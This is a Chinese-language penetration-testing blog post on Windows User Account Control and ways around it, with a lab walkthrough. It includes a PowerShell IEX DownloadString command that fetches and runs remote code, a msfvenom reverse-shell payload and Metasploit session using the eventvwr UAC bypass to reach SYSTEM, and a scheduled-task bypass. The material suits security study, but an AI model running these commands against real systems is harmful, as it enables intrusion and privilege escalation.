UAC与ByPass-UAC

0x00 前言

用户账号控制(UAC),这机制自win7以来就一直存在了,同时因内网渗透需要,所以我就开始继续补坑(完善知识积累)了。

0x01 什么是UAC

UAC 是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。

0x02 UAC机制流程

在Windows操作系统中,所有的资源都是有自己对应的ACL,而这个ACL列表里记录了哪个资源需要什么样的权限才能去操作和执行。在使用管理员组账号进行登录Windows操作系统,如果系统开启了UAC,在登录后,会生成两份访问令牌,一份是标准用户令牌,一份是管理员访问令牌。不过默认会已标准用户权限令牌来启动桌面进行等。而需要管理员权限才能操作的程序和设置,有的会在程序图标上,显示一个小盾牌,或者在触发后,就会弹出UAC认证。

我从微软官方手册下,截取了完整的流程图,如下图:

通过图中,可以看到具体的流程(感觉这图还是太简洁了,应该还有很内部的没展现出来)。

1、启动进程→判断是否启动了UAC→启动→是否直接提升权限启动进行→是→使用管理员权限开启进程

2、启动进程→判断是否启动了UAC→否→使用管理员权限开启进程

3、启动进程→判断是否启动了UAC→启动→是否直接提升权限启动进行→否→是否需要提升权限来启动(有无小盾牌)→是→弹窗提示是否使用管理员权限开启进行→是→使用管理员权限开启进程

4、启动进程→判断是否启动了UAC→启动→是否直接提升权限启动进行→否→是否需要提升权限来启动(有无小盾牌)→否→进程是否在UAC白名单中→是→(各种内部判断)→使用管理员权限开启进程

5、……………………………….

UAC目前共有四个等级:从不通知、普通通知、默认通知、始终通知。

而我们接下来的测试处于“默认通知”等级,并且使用的管理组账号,如果是始终通知,那就没什么可bypass的了,当然也不一定。(如果非管理组时,在弹UAC则会要求,管理员的授权及密码。)

:每个需要管理员访问令牌的应用程序必须提示管理员给予同意。 一种例外情况是父进程和子进程之间存在关系。 子进程会从父进程继承用户访问令牌。 但是,父进程和子进程必须具有相同的完整性级别。 Windows Server 2012 通过标记其完整性级别来保护的进程。 完整性级别是对信任的衡量。 “高”完整性应用程序执行修改系统数据的任务(如,磁盘分区应用程序),而“低”完整性应用程序则执行可能潜在损坏操作系统的任务(如,Web 浏览器)。 具有低完整性级别的应用程序无法修改具有高完整性级别的应用程序中的数据。 当标准用户尝试运行需要管理员访问令牌的应用程序时,UAC 会要求该用户提供有效的管理员凭据。

0x03 进程权限演示

环境:Windows10 管理员组账号登录

工具:Get-TokenPrivs.ps1

远程加载脚本测试:

1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/csy9730/batch_misc/bd941b6fe8a26235da81501d787a8a79b0c02696/misc/powershell/code/misc/pwershell-suite/Get-TokenPrivs.ps1');Get-TokenPrivs -ProcID 7264

本地加载脚本测试:

1
2
3
4
5
6
E:\>powershell –ep bypass
Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

PS E:\> Import-Module ./Get-TokenPrivs.ps1
PS E:\> Get-TokenPrivs -ProcID 15032

提升权限后测试:

提升权限后,直接无权限查看该进行的一些权限。

0x04 将会触发UAC授权的操作

  1. 配置Windows Update
  2. 增加或删除用户账户
  3. 改变用户的账户类型
  4. 改变UAC设置
  5. 安装ActiveX
  6. 安装或移除程序
  7. 安装设备驱动程序
  8. 设置家长控制
  9. 将文件移动或复制到Program Files或Windows目录
  10. 查看其他用户文件夹

基本上,只要有涉及到访问系统磁盘的根目录(例如C:),访问Windows目录,Windows系统目录,ProgramFiles目录,访问Windows安全信息以及读写系统注册表(Registry)的程序访问动作,都会需要通过UAC的认证。

0x05 UAC的好处

它减少了使用提升权限运行的程序数量,因此有助于防止用户意外更改其系统设置,并有助于防止“恶意软件”获得系统范围的访问权限。当提升被拒绝时,恶意软件只能影响当前用户的数据。如果没有提升,恶意软件无法进行系统范围的更改或影响其他用户。

对于托管环境,精心设计的UAC体验允许用户通过删除不必要的限制,在作为标准用户运行时提高工作效率。

它使标准用户能够要求管理员授予他们在当前会话中执行管理任务的权限。

对于家庭环境,它可以更好地控制家长对系统范围的更改,包括安装的软件。

0x06 如何开启UAC

1、win + r 弹出运行界面

2、输入 msconfig

3、工具→更改UAC设置→启动→拉直默认通知→确认

4、当然,如果不觉得麻烦的话,请直接拉至始终通知,安全可靠,还很烦。

0x07 目前公开的bypass UAC技巧

  1. 白名单提权机制;如Wusa.exe Bypass UAC,infDefault.exe Bypass UAC,PkgMgr.exe Bypass UAC等
  2. DLL 劫持
  3. Windows 自身漏洞提权
  4. 远程注入
  5. COM 接口技术
  6. 计划任务

0x08 白名单提权–篇章

一般来说,存在在白名单的EXE,基本都是在 C:\Windows\System32\ 目录下。

如果该软件的设置如<autoElevate>true</autoElevate>时,则是在白名单中。

关于如何查找,可以使用以下方法:

下载Sigcheck,用于查看信息:下载地址

1
使用方法:sigcheck.exe -m C:\Windows\System32\cmd.exe

不过建议使用以下方法,更方便:

1、把 sigcheck.exe 放置到 C:\Windows\System32\ 目录下。

2、使用如下脚本进行测试(倾旋博客拿来的)

脚本名:findelevate.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Usage: findelevate.py C:\Windows\System32\
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx]

import sys
import os
import glob
import subprocess

if len(sys.argv) < 2:
print "Usage: findelevate.py <PATH>"
print "Ex: Usage: findelevate.py C:\\Windows\\System32\\"
sys.exit()

d = sys.argv[1]

if not (d.endswith('\\')):
d = d+'\\'

exefiles = []

if os.path.isdir(d):
exefiles = glob.glob(d+'*.exe')

i = 0
for exe in exefiles:
p = subprocess.Popen(['sigcheck', '-nobanner','-m', exe],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
out, err = p.communicate()
if 'true</autoElevate>' in out: #will check for xmlns autoelevate as well. Thanks @mynameisv_
print exe.strip()
i = i + 1

print "Found " + str(i) + " executables with autoElevate set to true!"

效果如下:

抽其中一个查看以下程序信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
C:\Users\shiyan>sigcheck.exe -m C:\Windows\System32\BitLockerWizardElev.exe

Sigcheck v2.72 - File version and signature viewer
Copyright (C) 2004-2019 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\windows\system32\BitLockerWizardElev.exe:
Verified: Signed
Signing date: 4:01 2019/6/8
Publisher: Microsoft Windows
Company: Microsoft Corporation
Description: BitLocker Drive Encryption Wizard
Product: Microsoft?Windows?Operating System
Prod version: 10.0.17763.1
File version: 10.0.17763.1 (WinBuild.160101.0800)
MachineType: 64-bit
Manifest:
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly
xmlns="urn:schemas-microsoft-com:asm.v1"
manifestVersion="1.0"
......
<windowsSettings>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
<autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>
</windowsSettings>
</application>
</assembly>

白名单 bypassUAC 演示视频(这里直接借用倾旋的视频了,懒的搞了):

注:如果视频挂了的话,那就[挂了](链接: https://pan.baidu.com/s/11IY-p-SsqpefF9SaKDd2mA 提取码: uh9j 复制这段内容后打开百度网盘手机App,操作更方便哦)。。。

0x09 计划任务绕过UAC–篇章

测试条件:当前用户必须可以访问图形界面

1、在命令行输入计划任务

1
SCHTASKS /Create /sc DAILY /TN bypass_uac /TR cmd.exe /st 18:00 /sd 2019/07/11 /ed 2020/07/11

2、win + r 打开运行命令,输入 taskschd.msc

3、找见刚刚添加的任务计划,然后右键打开,选择属性。

4、如图设置即可,等到时间达到,自动执行高权限运行。

5、设置过程不户触发UAC。

注:但是好鸡肋啊,我都进了图形界面了,如果弹出UAC,我直接选择确认不就行了。。。

0x10 使用 msf 绕过 UAC–篇章

攻击机:kali-2017,root账号,192.168.43.8

测试机:win2012,shiyan(管理组账号),64位,192.168.43.106

1、首先生成一个反弹shell

1
2
3
4
5
6
7
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.8 LPORT=4444 -f exe -o x86_shell.exe

root@kali2-2017:/home# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.43.8 LPORT=4444 -f exe -o x86_shell.exe
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: x86_shell.exe

一般使用msfvenom生成Windows相关的反弹shell时,建议使用32位的木马,因为64是兼容32的,但是有时候,我们生成的64位木马,在64位系统上不一定兼容。

2、载入监听模块,并执行

1
2
3
4
5
6
7
8
9
root@kali:~ msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.43.8
lhost => 192.168.43.8
msf5 exploit(multi/handler) > run

3、反弹shell放到测试机上,并执行。

4、获取先当前账号信息,并尝试进行提权。

1
2
3
meterpreter > getuid
Server username: WIN-2012\shiyan
meterpreter > getsystem

尝试自动提权失败。

5、我们把该shell切换至后台。

1
2
3
4
5
6
7
8
9
10
11
12
meterpreter > background
[*] Backgrounding session 4...

msf5 exploit(multi/handler) > sessions

Active sessions
===============

Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x86/windows WIN-2012\shiyan @ WIN-2012 192.168.43.8:4444 -> 192.168.43.106:49165 (192.168.43.106)

6、尝试搜索 bypassuac 相关模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf5 exploit(multi/handler) > search bypassuac

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 exploit/windows/local/bypassuac 2010-12-31 excellent No Windows Escalate UAC Protection Bypass
2 exploit/windows/local/bypassuac_comhijack 1900-01-01 excellent Yes Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
3 exploit/windows/local/bypassuac_eventvwr 2016-08-15 excellent Yes Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
4 exploit/windows/local/bypassuac_fodhelper 2017-05-12 excellent Yes Windows UAC Protection Bypass (Via FodHelper Registry Key)
5 exploit/windows/local/bypassuac_injection 2010-12-31 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection)
6 exploit/windows/local/bypassuac_injection_winsxs 2017-04-06 excellent No Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
7 exploit/windows/local/bypassuac_sluihijack 2018-01-15 excellent Yes Windows UAC Protection Bypass (Via Slui File Handler Hijack)
8 exploit/windows/local/bypassuac_vbs 2015-08-22 excellent No Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)

7、可以看到很多,这里,我只使用第三个进行测试。

​ exploit/windows/local/bypassuac_eventvwr

8、我们看一下该模块的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
msf5 exploit(windows/local/bypassuac_eventvwr) > info

Name: Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
Module: exploit/windows/local/bypassuac_eventvwr
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-08-15

Provided by:
Matt Nelson
Matt Graeber
OJ Reeves

Available targets:
Id Name
-- ----
0 Windows x86
1 Windows x64

Check supported:
Yes

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.

Payload information:

Description:
This module will bypass Windows UAC by hijacking a special key in
the Registry under the current user hive, and inserting a custom
command that will get invoked when the Windows Event Viewer is
launched. It will spawn a second shell that has the UAC flag turned
off. This module modifies a registry key, but cleans up the key once
the payload has been invoked. The module does not require the
architecture of the payload to match the OS. If specifying
EXE::Custom your DLL should call ExitProcess() after starting your
payload in a separate process.

该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将为我们生成另一个关闭UACshell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。

9、简单的了解,就开始尝试提权绕过吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf5 > use exploit/windows/local/bypassuac_eventvwr 
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 4
session => 4
msf5 exploit(windows/local/bypassuac_eventvwr) > exploit

[*] Started reverse TCP handler on 192.168.43.8:4444
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (179779 bytes) to 192.168.43.106
[*] Meterpreter session 6 opened (192.168.43.8:4444 -> 192.168.43.106:49167) at 2019-07-10 04:32:42 -0400
[*] Cleaning up registry keys ...

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

10、可以看出来,绕过成功。

11、至于为啥不用其它的了,因为在该测试环境下失败了(可能是配置的问题吧)。。。。

0x11 其它工具

工具名:Bypass-UAC

介绍:Bypass-UAC是一个独立的框架,它不需要依赖其他任何的环境。但是请注意,使用该框架时唯一的要求就是目标主机必须安装有PowerShell v2。

下载地址:https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC

相关文章:https://www.anquanke.com/post/id/84582

0x12 参考文章

[1] https://04z.net/archives/d597cbf9.html
[2] https://www.freebuf.com/articles/system/185311.html
[3] https://www.anquanke.com/post/id/84582
[4] https://www.4hou.com/technology/4583.html
[5] https://blog.csdn.net/qq_27446553/article/details/52610365
[6] https://docs.microsoft.com/zh-cn/windows-server/security/user-account-control/how-user-account-control-works
[7] https://payloads.online/archivers/2018-12-22/1#0x11-uac%E7%AE%80%E4%BB%8B


UAC与ByPass-UAC
https://sh1yan.top/2019/07/11/UAC-and-ByPass-UAC/
作者
shiyan
发布于
2019年7月11日
许可协议